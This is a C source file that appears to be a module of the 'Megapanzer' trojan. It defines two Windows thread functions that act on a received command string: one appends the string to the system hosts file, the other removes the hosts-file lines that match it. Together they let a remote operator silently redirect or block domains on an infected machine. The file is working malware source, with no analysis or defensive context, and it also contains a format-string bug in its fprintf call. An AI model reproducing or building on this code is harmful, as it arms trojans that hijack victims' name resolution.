#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>
#include "Megapanzer_Definitions.h"




DWORD WINAPI addHostsEntry(PVOID pParameter)
{
int lRetVal = 0;
int lFuncRetVal = 0;
char lTemp[MAX_BUF_SIZE + 1];
char lTemp2[MAX_BUF_SIZE + 1];
char *lTempPointer = NULL;
DWORD dwWritten = 0;
HANDLE lFileHandle = INVALID_HANDLE_VALUE;
PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;


if (lCommandStructure->sCommandString != NULL)
{
ZeroMemory(lTemp, sizeof(lTemp));
snprintf(lTemp, sizeof(lTemp) - 1, "\r\n%s", lCommandStructure->sCommandString);

if ((lFileHandle = CreateFile(HOSTS_FILE, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)
{
SetFilePointer(lFileHandle,0,0,FILE_END);
WriteFile(lFileHandle, lTemp, strlen(lTemp), &dwWritten, NULL);
CloseHandle(lFileHandle);
}
}

return(lRetVal);
}





DWORD WINAPI removeHostsEntry(PVOID pParameter)
{
int lRetVal = 1;
int lFuncRetVal = 0;
char lTemp[MAX_BUF_SIZE + 1];
char lReadBuffer[MAX_BUF_SIZE + 1];
PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;
FILE *lFileOldHostsHandle = NULL;
FILE *lFileNewHostsHandle = NULL;

if (lCommandStructure != NULL && lCommandStructure->sCommandString != NULL)
{
if ((lFileOldHostsHandle = fopen(HOSTS_FILE, "r")) != NULL)
{
ZeroMemory(lTemp, sizeof(lTemp));
snprintf(lTemp, sizeof(lTemp) - 1, "%s.tmp", HOSTS_FILE);

if ((lFileNewHostsHandle = fopen(lTemp, "w")) != NULL)
{
while (!feof(lFileOldHostsHandle))
{
ZeroMemory(lReadBuffer, sizeof(lReadBuffer));

if (fgets(lReadBuffer, sizeof(lReadBuffer) - 1, lFileOldHostsHandle) > 0)
{
if (strstr(lReadBuffer, lCommandStructure->sCommandString) == NULL)
fprintf(lFileNewHostsHandle, lReadBuffer);
else
lRetVal = 0;
}
}
fclose(lFileNewHostsHandle);
}
fclose(lFileOldHostsHandle);
}
}


END:

if (lRetVal == 0)
{
ZeroMemory(lTemp, sizeof(lTemp));
snprintf(lTemp, sizeof(lTemp) - 1, "%s.tmp", HOSTS_FILE);
DeleteFile(HOSTS_FILE);
MoveFile(lTemp, HOSTS_FILE);
}

return(lRetVal);
}